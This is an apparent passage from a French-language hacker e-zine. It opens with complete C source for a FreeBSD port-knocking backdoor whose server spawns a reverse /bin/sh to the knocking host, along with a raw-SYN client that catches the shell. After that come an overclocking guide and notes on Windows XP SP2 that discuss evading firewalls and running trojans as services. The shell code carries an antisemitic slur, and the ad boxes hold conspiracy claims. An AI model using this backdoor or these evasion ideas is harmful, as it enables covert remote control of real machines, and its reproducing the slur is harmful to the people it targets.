connectback(char *dest, int port); unsigned int **get_next_knock(int max, int num); int main() { int i, fd, flag, n_read, bsize, cport, mport; unsigned int offset = 0xe; struct bpf_hdr *header; struct ifreq ifr; struct ip *iph; struct tcphdr *tcph; char *buf; char device[sizeof "/dev/bpf0"]; char sender[sizeof "999.999.999.999"]; #fresh unsigned int **knock; // Root user check if (getuid()) { if (VERBOSE) fprintf(stderr, "[-] You need root to snort like a man!\n");#fresh exit(-1); } // looking for an openable bpf. for(i=0; i < 5; i++) { sprintf(device, "/dev/bpf%d", i); fd = open(device, O_RDONLY); if(fd == -1 && errno == EBUSY) // Busy... continue; else // Success, Failure, Not enough priviledges. break; } if (fd == -1) { if (VERBOSE) printf("[-] All bpf devices tested (0-4) are busy, or non-existent.\n"); exit(-1); } else { if (VERBOSE) printf("[+] %s isn't busy...\n", device); } // getting packet size if (ioctl(fd, BIOCGBLEN, &bsize) < 0) { perror("[-] BIOCGBLEN()"); exit(-1); } buf = (char*)malloc(bsize); if (!buf) { if (VERBOSE) fprintf(stderr, "[-] Can't malloc() %d bytes.\n", bsize);#fresh exit(-1); } // bind to an interface strncpy(ifr.ifr_name, INTERFACE, sizeof(ifr.ifr_name)-1); ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0; if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) == -1) { if (VERBOSE) perror("[-] BIOCSETIF()"); exit(-1); } else { if (VERBOSE) printf("[+] %s bound to %s\n", device, INTERFACE); } // get data immediatly flag = 1; if (ioctl(fd, BIOCIMMEDIATE, &flag) < 0) { perror("BIOCIMMEDIATE()"); exit(-1); } // Setting up sequence knock = get_next_knock(MAX_PORT, SEQUENCE_LEN); mport = SEQUENCE_LEN; cport = 0; // Infinity starts here. while(1) { bzero(buf, bsize); n_read = read(fd, buf, bsize); if (n_read == -1 ) { if (VERBOSE) perror("[-] read()"); exit(-1); } else { header = (struct bpf_hdr *) buf; iph = (struct ip *)(buf + header->bh_hdrlen + offset); // This is where the tests begins#fresh if (iph->ip_v == 4 && iph->ip_p == 6) { // IPv4 && TCP/IP packet, look'n good. tcph = (struct tcphdr *) (buf + header->bh_hdrlen + offset + (iph->ip_hl<<2)); if ( (tcph->th_flags & TH_SYN) && // SYN is good ! (tcph->th_flags & TH_ACK) && // no ack ! (tcph->th_flags & TH_RST) && // no rst ! (tcph->th_flags & TH_URG) && // no urg ! (tcph->th_flags & TH_FIN)) { // no fin if (htons(tcph->th_dport) == *knock[cport]) { // Port match if (cport == 0) strncpy(sender, inet_ntoa(iph->ip_src), sizeof(sender)-1); // Making an hash table based on hosts // Would make this MUCH more reliable. if(strcmp(sender, inet_ntoa(iph->ip_src)) != 0) { if (VERBOSE) printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n", inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),knock[cport]); cport = 0; continue; } else { // same sender if (VERBOSE) printf("[+] %s - Knock #%d [%d/%d] - Accepted\n", inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport), *knock[cport]); if (++cport == mport) { // end of knock sequence reached cport = 0; // Getting next knock sequence free(knock); knock = get_next_knock(MAX_PORT, SEQUENCE_LEN); sleep(1); // Dropping shell connectback(inet_ntoa(iph->ip_src), CONBACK_PORT); } continue; } } else { // Port dosen't match if (VERBOSE) printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n", inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),*knock[cport]); cport = 0; continue; } } // Flag's test failed } // IP version, or protocol type failed } // read() didn't fail o_O } // while(1) } // main() void connectback(char *dest, int port) { struct sockaddr_in sin; int s, i; int pid; sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr(dest); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0 || (connect(s, (struct sockaddr *) &sin, sizeof(sin))) < 0) { perror("[-] connect()"); return; } if (VERBOSE) printf("[+] Connected to %s:%d, dropping shell!\n", dest, port); if(!fork()) { for(i=0; i < 3; i++) dup2(s, i); send(s, "[ r00t! ]\n", sizeof("[ r00t! ]\n"), 0); execl("/bin/sh", "kewt", 0x00); exit(0); } close(s); } unsigned int **get_next_knock(int max, int num) { int i; unsigned int **knock; srand(time(0x00)); knock = malloc(sizeof(unsigned int *)); for(i=0; i <= num; i++) knock[i] = malloc(sizeof(unsigned int) * num); for(i=0; i < num; i++) *knock[i] = (rand() % max) + 1; *knock[i] = 0x00; // Display printf("[+] Next knock: "); for(i=0; *knock[i]; i++) printf("%d ", *knock[i]); printf("\n"); return knock; } /* \ PortKnock Client [works on Fbsd 4.X] / It's just a SYN packet crafter... \ */ #include #include #include #include #include #include #include #include #include #include #define SRC_PORT 1337 #define CONBACK_PORT 4455 //Prototype void usage(char *prog); int listen_cb(int port); int shell(int sockfd); int main (int argc, char *argv[]) { int s, i, pcount, one=1; int *val = &one; char datagram[4096]; char pseudohdr[1024]; struct ip *iph = (struct ip *) datagram; struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); struct sockaddr_in sin; int tcphdr_size = sizeof(struct tcphdr); if(argc < 2) usage(argv[0]); if(getuid()) { fprintf(stderr, "[-] getuid(): Raw socket operations need uid 0.\n"); exit(-1); } if(!gethostbyname(argv[1])) { fprintf(stderr, "[-] gethostbyname(): Invalid host: %s\n", argv[1]); exit(-1); } for(pcount = 0; argc > 2; argc--) pcount++; for(i=0; i < pcount; i++) { s = socket (PF_INET, SOCK_RAW, IPPROTO_IP); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[i+2])); sin.sin_addr.s_addr = inet_addr(argv[1]); bzero(datagram, sizeof(datagram)); iph->ip_hl = 5; iph->ip_v = 4; iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); iph->ip_id = htons(31337); iph->ip_ttl = 250; iph->ip_p = 6; iph->ip_src.s_addr = INADDR_ANY; iph->ip_dst.s_addr = sin.sin_addr.s_addr; tcph->th_sport = htons(SRC_PORT); tcph->th_dport = htons(atoi(argv[i+2])); tcph->th_seq = htonl(31337); tcph->th_off = sizeof(struct tcphdr)/4; tcph->th_flags = TH_SYN; tcph->th_win = htons(57344); if (tcphdr_size % 4 != 0) tcphdr_size = ((tcphdr_size % 4) + 1) * 4; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) { fprintf(stderr, "[-] setsockopt(): Can't set HDRINCL!\n"); exit(-1); } if (sendto (s,datagram,iph->ip_len,0,(struct sockaddr *) &sin, sizeof (sin)) < 0) { perror ("sendto"); exit(-1); } printf("%s:%d -SYN-> %s:%d\n", inet_ntoa(iph->ip_src.s_addr), SRC_PORT, argv[1], atoi(argv[i+2])); } // for() listen_cb(CONBACK_PORT); } void usage(char *prog) { printf("Correct usage:\n" "--------------\n\n" "%s ... \n", prog); exit(-1); } int listen_cb(int port) { struct sockaddr_in sout; int s, client, sz_client; bzero(&sout, sizeof(sout)); sout.sin_family = AF_INET; sout.sin_addr.s_addr = INADDR_ANY; sout.sin_port = htons(CONBACK_PORT); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("socket()"); exit(-1); } if (bind(s, (struct sockaddr *) &sout, sizeof(sout)) < 0) { perror("[-] Bind()"); exit(-1); } if (listen(s, 2) < 0) { perror("[-] Listen()"); exit(-1); } client = accept(s, 0x00, 0x00); if (client > 0) { printf("[+] Got shell...dropping it!\n"); shell(client); } return(0); } // Ripped from some dcom sploit, I already reinvented the wheel too much, for my own good. int shell(int sockfd) { char rb[1500]; fd_set fdreadme; int i; FD_ZERO(&fdreadme); FD_SET(sockfd, &fdreadme); FD_SET(0, &fdreadme); while(1) { FD_SET(sockfd, &fdreadme); FD_SET(0, &fdreadme); if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break; if(FD_ISSET(sockfd, &fdreadme)) { if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0) { printf("[-] Connection Terminated by jew!\n"); exit(1); } if(write(1, rb, i) < 0) break; } if(FD_ISSET(0, &fdreadme)) { if((i = read(0, rb, sizeof(rb))) < 0) { printf("[-] Connection Terminated by jew!\n"); exit(1); } if (send(sockfd, rb, i, 0) < 0) break; } } printf("[-] Connection closed by foreign host..\n"); exit(0); } Phawky .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, c'est aussi....binf \___________________ ___ __ _ | | I| \ | | I| (beware of the stonecutters) '-=[ Mk-110 ]=-| | // | | L\:-=[ ecoute dit toi que si ca passe a radio canada c'est approuver ]=--[~~]----| | [par des conseils masonique. ] \/ | [ enfait quasi tout ton information est controler ou ] | | [scruter/aprouver par des masson ] Statistics | [ http://pages.infinit.net/fmmtl/ ] are used | [ http://www.francmaconnerie.ca/ ] by people | [ derriere chaque divertissement ] who have | [ ya dla massonerie ] no proof | | [ surtout en amerique du nord ou la massonerie est hyper rependue ] |-[~]-=[ y'a tu de la massonerie derrière ta propagande ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ Overclocker sont Hardware ]=------+---------------------------=[07]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Spider ]=-| | // | | L\:-=[Ak : scoty il nous faut plus de puissance!!! ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Moi j'me dit qu'un ordi c'est comme un char dans le fond. Y'en a qui paye cher pour avoir un bon char, y'en a qui paye cher pour mettre des néons pi des trucs pour flasher, et y'en a qui modifie le moteur avoir plus de performance. Nous, on modifie la vitesse à laquelle nos périphériques fonctionnent. Avec un bon overclocking stable, il est possible d'obtenir un gain de performance asser important, entre 20% et 35%. Par contre, avec un overclocking extrême, on peut aller chercher un gain de performance beaucoup plus élevé soit 50%, 60%, 70% et parfois plus. Pour des raisons monétaires et parce qu'on veut garder notre hardware le plus longtemps possible, je vais me contenter de vous expliquer la base de l'overclocking. À part la performance, il a plusieurs autres avantages à l'overclocking, Ca va entre autres vous permettre de connaître beaucoup mieux le fonctionnement au niveau hardware de votre ordi. Mais la vrai raison pourquoi c'est cool d'over-clocker c'est que sa fait toujours élite de parler de tsa à vos amis... ...tsé genre "i'm l33t motherfucker" **** L'overclocking annule théoriquement les garanties. Allez y **** donc avec modération pour ne pas faire griller vos périphériques. Pour commencer, une chose importante et malheureusement souvent négligée pour tout pc, même si on ne prévoit pas d'overclocker c'est le case. Il vous faut un bon boîtier performant qui va permettre un bon flow d'air, qui va être pratique, grand, solide, facile d'accès, jolie, avec une statuette en bronze représentant une danseuse hawaiienne sur le dessus (pour la chance). Plusieurs cases sont très bien cotés, entre autre ceux de ANTEC. Pour de plus amples informations, consulter le site suivant: ---> http://www.antec.com/us/pro_enclosures.html ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ 1. CPU OVERCLOCKING Ensuite on overclock... pratiquement la totalité des cartes mères disponibles de nos jours possèdent les options pour clocker sont système manuellement dans le bios. Par contre certains systèmes sont bloqués et on ne peu pas changer les settings comme on le veut. Il faut parfois faire des modifications physiques à sont hardware comme relier des circuits ou souder des ponts pour les débloquer. Pour savoir ça il n'a qu'une solution et c'est d'aller rechercher sur le net des review d'autres personne qui ont déjà overclocké le même hardware. Maintenant on commence avec les 2 settings qui vont influencer le plus la vitesse de votre pc et avec lesquelles on peut jouer. CPU External Frequency aka Front Side Bus(FSB): ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Le fsb est le bus de donné qui transert le data du processeur à la mémoire et l'inverse( en gros ). Donc la vitesse du fsb change beaucoup les performances du pc. Le CPU External Frequency, quant à lui, c'est la vitesse à laquelle le cpu va pitcher le data dans le front side bus. CPU Frequency Multiple aka CPU Frequency Multiple: ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ C'est ce chiffre là qui, une fois multiplié avec la fréquence du processeur, va donner la vitesse à laquelle le processeur va runner. Exemple: ta un cpu ext. freq. à 210 mhz et un multiplicateur à 9.5 ben ton processeur va rouler à 1995 mhz ~2.0 ghz. Maintenant, c'est ben l'fun modifier ces settings là dans le bios mais qui dit overclocking dit dégagement de chaleur important donc c'est là que le cooling entre en jeu. Pour cooler efficacement et à prix raisonnable un cpu je recommande les heatsink ZALMAN. Ils sont très efficaces et très silencieux. ---> http://www.zalmanusa.com/usa/product/code_list.asp?cate=03040506 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Il est important aussi d'appliquer de la pâte thermique. Cette pâte a pour but de combler toutes irrégularités sur la surface du cpu et du heatsink de façon à ce que le contact entre les deux soit parfait, ce qui permet un échange de chaleur optimal. Il n'a pas vraiment de qualité pour la pâte thermique mais on entend souvent dire que la arctic silver 5 est la meilleur. Asteur le principe de base de l'overclocking est de premièrement baisser le un peu multiplicateur et monter la fréquence du cpu de 5 mhz graduellement de façon à trouver la plus haute fréquence qui est supporté par vos composant. Si votre pc ne démarre pas, c'est soit que la fréquence n'est carrément pas supporter par votre hardware ou soit que le CPU manque de jus. Dans le premier cas, suffit de débrancher l'alimentation et d'attendre quelques secondes pour que sa revienne. Dans le second, vous pouvez monter le voltage de votre CPU dans le bios en utilisant le menu Vcore. Plus le voltage est haut, plus vous aller faire chauffer le CPU. Il ne faut pas oublier qu'un haut voltage aura également pour effet de réduire la durée de vie de votre matériel. Un voltage raisonnable se situe entre 1.7 et 1.8. Une fois que vous avez trouver la fréquence maximale, montez le multiplicateur par coup de .5, tout en surveillant la température. Une fois le pc booté, faite une coupe de test de benchmark de suite pour s'assurer que le pc est stable. Pour cela, il existe plusieurs programmes, le plus connu étant 3Dmark. Mais plusieurs autres programmes peuvent être utilisés tel CPU burn qui est spécialement conçu pour faire chauffer le CPU. En passant, essayer de ne pas dépasser les 50 degrés celcius en pleine charges. Plus votre CPU reste froid, mieux il performe et plus sa durée de vie va être élevée. Comme vous avez remarqué, tous ces programmes sont sous windows. Pour linux et bien... et bien je dois avouer que j'ai pas overclocker de pc utilisant linux parce que j'ai seulement besoin d'extrême performance pour jouer à des jeux, donc windows. Donc si les 2 tests de benchmark se déroulent parfaitement ça veut dire que le pc est stable donc on peut essayer de le monter plus. Si vous obtenez un blue screen sa signifie que le cpu n'est pas stable et pour stabiliser ça il suffit d'augmenter par coup de .25 le voltage du cpu. Si le programme de benchmark ou n'importe quel application 3D se ferme tout seul, c'est probablement un problème de mémoire, c'est ce qu'on va voir à l'instant. 2. MEMORY OVERCLOCKING Maintenant on peux continuer avec la mémoire. Pour commencer il faut bien cooler la mémoire puisqu'on va augmenter son voltage. Une tonnes de gadget sont disponibles pour cooler la mémoire mais moi je vous conseil simplement un petit heatsink en cuivre qui coute environ 12$. ---> http://www.tuning-pc.com/images/products/bbddrcpr.jpg ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Les 2 options sur lesquelles on n'a le contrôle c'est les timings de mémoire et son voltage. Si, lors d'un test de benchmark vous obtenez une fermeture de l'application involontaire suivi d'un retour à windows, ça veut dire d'aller monter le voltage de la mémoire (dans le bios). Habituellement, monter la mémoire de .1 volt règle le problème. Attention de ne pas trop monter le voltage de la mémoire, à moins que vous ayez une mémoire de bonne marque comme Corsaire, OCZ ou kingston qui sont garantie à vie. Les timings mémoire sont des "délais de sécurité" destinés à éviter les erreurs lorsque le pc lit ou écrit dans la mémoire. En gros, si on essaye d'accéder à telle adresse de mémoire en une demi seconde, ya plus de chance qu'une erreure arrive que si on y accède en 3 secondes. Les timings fonctionnent avec les cycles d'horloges. C'est à dire que pour un FSB de 166 Mhz, le système fait 166 millions de cycles par secondes, donc chaque cycle dure 6 nanosecondes. Pour un FSB de 200 Mhz chaque cycle va durer 5 nanosecondes, et ainsi de suite. On voit bien l'intérêt de construire des systèmes avec le FSB le plus haut possible. Il existe plusieurs timings qui ont une influences plutôt médiocre sur les performances globale du système. Cependant, il en a deux particulièrement intéressant. Cas Latency: ¯¯¯¯¯¯¯¯¯¯¯¯ C'est le temps minimum que ça va prendre pour accéder à une "colone" de mémoire. Pour de la mémoire DDR (Double Data Rate) il est généralement de 2.5 cycles. Il est habituellement possible de l'abaisser à 2 mais certain système ne seront pas stable. Quelques fois vous aurez besoin d'augmenter le voltage pour que ça passe. Une fois booter, faite 3 ou 4 shot de MemTest, petit programme qui bench la ram pour voir si elle est stable. Precharge To Active: ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ C'est tout simplement le temps à attendre avant de traiter une nouvelle demande d'accès mémoire. Habituellement, plus le FSB est haut, moins on peut avoir des timings agressif. Dans ce cas, il n'est pas rare de rencontrer 6, 7 et même 8. Encore une fois, settez le le plus bas possible et faite une coupe de memtest. 2.1 DÉSYNCHRONISATION DE LA MÉMOIRE Cette technique consiste à désynchroniser la mémoire et le processeur. Parfois, faire runner la mémoire moins rapidement que le processeur peut permettre d'augmenter plus le CPU avant que la mémoire ne suive plus. Il y a souvent une option dans le BIOS ( ça ressemble à "memory frequency" ) pour setter à combien de % on veut que la ram fonctionne par rapport au CPU. Exemple : Si vous êtes rendu à 200mhz de FSB et que votre ram ne supporte pas plus haut, on désynchronise la ram à 90%. votre ram va runné à 180 mhz pendant que votre FSB va runné à 200mhz, donc on peut essayer de monter le FSB à 220mhz et votre ram va n'être qu'à 200mhz. La plus part du temps par contre, cela va vous faire perdre de la performance plutôt qu'en gagner. Cette technique n'est donc pas vraiment conseillée. 3. GRAPHIC CARD OVERCLOCKING Pour commencer il est important de bien cooler certaines parties de la carte pour les même raisons que la mémoire. Repérez les chipset de mémoire sur votre carte 3D et mettez leur chacune un heatsink, préparé maison avec un vieux heatsink que vous aurez scier et un peu de colle ou de pâte thermique ou whateter, en autant que le heatsink soit parfaitement coller sur la chip de mémoire. Prenez garde car certaine carte on des chipset de chaque coté de la carte. Ensuite il faut analyser votre system de cooling pour le GPU. S'il est satisfaisant vous n'aurez pas à le modifier, en cas contraire, enlever le system de cooling d'origine et remplacer le par un heatsink et un fan de processeur ou achetez-en un faite spécialement pour votre carte vidéo sur internet. Pour les performances 3d, on n'a accès à 4 settings; La fréquence du GPU (graphic processing unit), la fréquence de la mémoire, la fréquence du port agp et le voltage du port agp. Je crois que des explications sur ces termes seraient superflus alors passons immédiatement à la technique. Le principe est d'augmenter la mémoire jusqu'à temps que, lors d'un test de 3dmark, vous voyez des artifacts. ça c'est des petits points blanc, des lignes, ou n'importe quelles irrégularités dans votre image. Ça veut dire que vous êtes rendu trop haut. Ensuite, vous pouvez monter le GPU. Si votre image gèle pendant un bench ou un jeu 3D, ça veut dire que vous êtes rendu trop haut. c'est aussi simple que ça. Pour monter la fréquence de la mémoire et du GPU, si vous avez une chipset ATI, il existe plusieurs programme mais je crois que le plus performant s'appelle RivaTuner. Si vous avez une chipset Nvidia, copier/coller cette clé dans un fichier .reg et exécuter le. Vous aller dorénavant avoir accès à un menu "Fréquence d'horloge" dans les propriétés de Nview ( bouton de droite sur le bureau, propriété, paramètre, avancé, l'onglet portant le nom de votre carte ). -------8<--------------cut here-----------------8<------------------- Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\NVIDIA Corporation\Global\NVTweak] "Coolbits"=dword:ffffffff -------8<--------------cut here-----------------8<------------------- Vous pouvez également augmenter la fréquence du port AGP dans le bios. Pour gagner un peu de performance sans risquer de faire griller le port AGP, passez de 66 à 75 mhz et monter le voltage de 0.1. 4. CONCLUSION Ça me tente pas de faire de conclusion.. de toute facon on dit jamais rien d'important dans une conclusion. .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, un endroit accueillant et stimulant \___________________ ___ __ _ | | I| \ | | I| '-=[ Mk-110 ]=-| | // | | L\:-=[ je recherche des IPC ou SQL pour faire un bot-scan pi ]=--[~~]----| | [apres je lui redonne son IPC ou SQL pi i vient ds team, de bot-scan ] \/ | [ jlui re donne le double de IPC ou SQL ou i vient ds team ] | | [de bot-scan ] there is | [ c les 2 sort de rconpence ] no spoon | [ et pkoi tu vien me dire ca ? ] | [ bin si ta des IPC ou SQL ] | [ pkoi jaurais ca ? ] | | [ jvois pas comment ta pu penser que je ferais du scann ] | [ bin i na un qui ma dit que tu fait un peut de warez jcroit ] | |-[~]-=[ ben ca marrive de downloader un mp3 sur emule je lavous ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ Notes sur windows XP SP2 ]=------+---------------------------=[08]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Lastcall_ ]=-| | // | | L\:-=[Ak : C'est ça mais c'est pas ça ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Note sur les notes : J'ai écrit ces notes dès que le SP2 a sorti, en fait, j'avais même installé le SP2 sur un ordi dans le temps que y'était BETA pis que ça la toute chier un moment donné a cause du Windows update (dsl encore mio :-P). Bref, cet article était supposer être releasé en août, donc est pu trop trop "actuel hot". Le voici donc en version "fini sous le rush 4 mois plus tard". Par contre, je vous garanti que même si vous avez (et sacrer après) le SP2 depuis qq mois, vous allez apprendre quelques facts intéressants à propos de cette fameuse patch de la mort qui tue. Chose que SP2 fait in a nutshell ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ - New firewall qui marche par application (comme tiny personal firewall et zone alarm) - Le new firewall BLOCK ALL par defaut et permet des applications/ports exceptions, et peut etre mis en nazi-mode (aka On with no exceptions) - L'ancien firewall est encore la, en faite il sert de "ouvreur de ports par interface" (aka exactement cki fesait avant le SP2). C'est la seule chose qui a été laisser "laide" pour pas nous gosser.. ou yon faite ça parce que le nouveau firewall est pas a la même place sua stack (genre l'ancien serait direct sur l'interface, le nouveau un layer plus haut.. *suppositions ici voir sections suppositions*) - Un "Security Center" vous gosse d'installer un anti-virus, de mettre le firewall et les auto-updates a on - Un popup blocker dans IE - Un service qui scan pour les bad attachements dans Outlook pis MSN/Windows Messager. Il start aussi l'anti-virus automatiquement. - Un équivalent de "Hijackthis" pour IE + liste des a alloué. Chose que SP2 fait pas in a nutshell ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ - Rendre votre ordinateur plus sécure qu'avant si vous aviez déjà un A/V pis un firewall block all par defaut - Vous sacré la paix avec le Security Center (malgres que ya moyen de disabler les alerts ou de dire "arrête de me gosser avec le A/V") - Vous permette de rouler votre machine comme avant - Empecher de rouler un programme qui disable toute les feats. de sécurité - Rouler le service messenger (tsé les popup avec net send la?) par defaut. - Afficher les images externes dans un HTML email. Runner des dans un HTML email. - Rouler du javascript dans un .jpg (sorry funky :-P) Les détails leets ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ - Le firewall permet d'allouer des subnets pour certain service (pis y le fait avec le réseau local par défaut je crois) - Le firewall est full-keep-state (pkoi c fun ca? pensez zy, si une apps allouer par le firewall ouvre un port, seul les donnés de ce flow spécifique la passe par ce port la, DONC pour hijacker une connexion/spoofer un packet, ça va etre ben plus toffe) - Boot-time policy; tlm se rapelle que on pouvait se faire owner PENDANT l'installation de Windows XP, ou pire pendant le boot-time (Si genre le service du firewall est pas encore starter). Well maintenant ya un boot-time policy (en francais tant que le vrai service de firewall est pas starté) qui block toute sauf DNS/DHCP/domain controller.. clever. - RPC refuse toute les requests qui sont pas "clean", genre dune source anonyme et non autotifier. - Les port RPC (well les shits de Windows? je suppose) sont accessible seulement pour un service. Donc, les trojans qui roulent pas en service et qui utilisait ces ports la (cé drole jen connais pas..p-e des rootkits alors?). Solution? Rouler vos trojans en service Local System ou Network Service ou Local Service. - DCOM marche juste si le user disant est authentifier (c dla marde pour un usage légitime, j'ai tjrs détester gosser pour syncroniser des users entre 2 Windoze) - MEMORY PROTECTION*! OMG! Yep, SP2 supporte l'exécution protection pis le sandboxing. En clair pas clair, ça supporte le NX sur les CPUs 64 bits intel/amd, surl es bon vieux 32bits la stack pis la heap sont protégé respectivement par un security check des buffers pis un "cookie" placer a la fin des buffers. En concret, va falloir TOUTE RECOMPILER les exes pour que ca soye compatible avec ca. Voila, on a maintenant l'Explication de 2 choses 1) pkoi que SP2 est si incompatible avec plein d'affaires et 2) pkoi que c aussi gros que ça a downloader. *: ne pas confondre avec la feat quon a depuis les 386. hehe - AES (Attachement Execution Service). Interfacer en COM avec les autres apps, cte service la va carrément scanner les MIME ext en fonction des file ext (fini les javascript dans les jpegs??? je rêve?) - La local zone dans IE est maintenant une zone sécurisé par default (avant toute ce qui était LOCAL était full trusted).Donc en gros, IE block des affaires même si vous accessder à C:\bleh.html (remarquer ça dans IE6 c'était déjà la, mais ca dlair que SP2 l'extend au component et autre bidule, chu tu en train de dire que y va avoir dla sécurité dans les windows help en html? ça dlair que oui, p-e même que c bloquer par default comme outlook...) Ça pas rapport mais ya un lien ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ - Windows update v5 était loader par default dans le beta release du SP2... - L'base line analyser est updater pour le SP2.. si vous savez pas c'est quoi le BSA, aller voir, vous êtes pas si bien patcher que vous le penser... http://www.microsoft.com/mbsa - Avis aux webmasters qui avait faite un site pour "IE": tant pis pour vous ya pu grand bébelles qui vont marcher avec le SP2! J'espère que vous êtes payer a l'heure. http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp Suppositions et psychohistoire ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ - Le nouveau firewall: si yé effectivement un layer plus haut, ça voudrait dire qu'un programme qui gosse direct avec une interface au lieu de "global" ne serait pas affecter par le firewall? ctun non-sense paske ca dlair que même les RPC sont gérer par le nouveau firewall.. well si ya qqn d'assé leet en windows y pourrait essayer ça, bidouiller un driver de network card pour qui serve de direct pipe (ou encore accéder direct au driver existants avec un prog low-level). Par contre toute la beauté d'exploiter ça facilement revient au niveau de "est-ce que le 'specific network connections firewall' est a block-all-on-par-default. Dans SP1 cétait la coche firewall dans les advanced params de la connexion, alors que dans le nouveau c une liste des connections dans le advanced tab du Windows Firewall. Nyways, ya moyen d'ouvrir un port en runnant une application via le vieux firewall de SP1, donc ca se fait très certainement avec le vieux firewall de SP2 (la beauté de la chose agian c que ça bypass le nouveau firewall, et le user qui a peur du tab "advanced" verra jamais rien. - L'impact du block all par défaut: LE futur pour le support technique va être génial. Imaginé au monde ou tout est block all par défault, un monde ou tlm sont routés entre Internet et leurs maisons (avec un routeur entre les 2). Ben ce monde la va être encourager par le SP2. C'est déjà faite pour la plupart des gens, asteure les routeurs se retrouvent dans les boites de céréales. MAis la le SP2, va rendre ça presque obligatoire pour toute les noobs (parce que c'est PAR DEFAULT). Donc, fini les applications qui utilise des socket qui listen.. a moins que (voir le point suivant). - Me semble que c'est facile s'ajouter dans la "OK LIST" (en faite c'est de même depuis SP1) : Ouais, il est possible pour un programme de s'ajouter dans la OK list du firewall. En gros, le exe est une "exception" toute ski bind et ski sort est pas filtrer par le firewall.. pratique. Tellement que je me rappelle un jour (sous SP1) Internet Explorer a décider d'ouvrir quelques ports pour Windows Media Player.. je me suis fâché, et je lui ai foutu une volée.. je me rappelle pu trop ce que je lui ai fait mais depuis, WMP plante systématiquement sur ma machine.. haha M'enfin, toute ça pour dire que, finalement, dans le futur les différents "malwares" vont finir par se débrouiller comme ils veulent pour runner firewall ou pas, puisque après tout, dès qu'un user logger administrateur (btw, le SP2 encourage t-il le "be a user instead of an admin/poweruser?", non je crois pas, DUH) run un .exe, c'est fini napu. Boutte pseudo-leet de l'article : test de process injection ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Pour ceux qui lise phrack assidûment, vous vous rappelez sûrement de l'article de rattle dans le #62 "Using Process Infection to Bypass Windows Software Firewalls". Pour les autres, cet article démontre des moyens de bypasser les stupides firewall qui check pour les outbound connexions des process, du genre "Voulez vous laisser aolshit.exe aller sur le port 80 de www.perdu.com?". Sa première technique (se servir d'un exe sur le disque pour injecter le code dedans et starter son propre code) défonce toute les firewall qu'il a tester sauf TinyPersonalFirewall, et sa deuxième défonce même TinyPF. Mais bon, on sen fou dans cet article si ça défonce Zone Alarm 4, Sygate 5.5, blackIce 3.6 et même Tiny 5.0, ce qui nous intéresse c'est le firewall de Windoze XP! Je vais donc faire des tests, primo, sans le SP2, avec TinyPF. J'ai effectivement réussi a runner les 2 source codes, les résultats ont fonctionné tel que prévu. N'a un qui a marcher, l'autre qui a pas marcher. J'ai pas envie d'inventer des results, donc vous devez me croire (pis croire l'article dans phrack ça marche/shit comme c'est supposé. TinyPF détecte qui a qqchose de louche qui se passe avec un, mais l'autre rien du tout. Deuxio, avec le SP2, pis le super-mega-firewall de Windows. La toute se passe comme dans du beurre. Au moins TinyPF détectais le louche 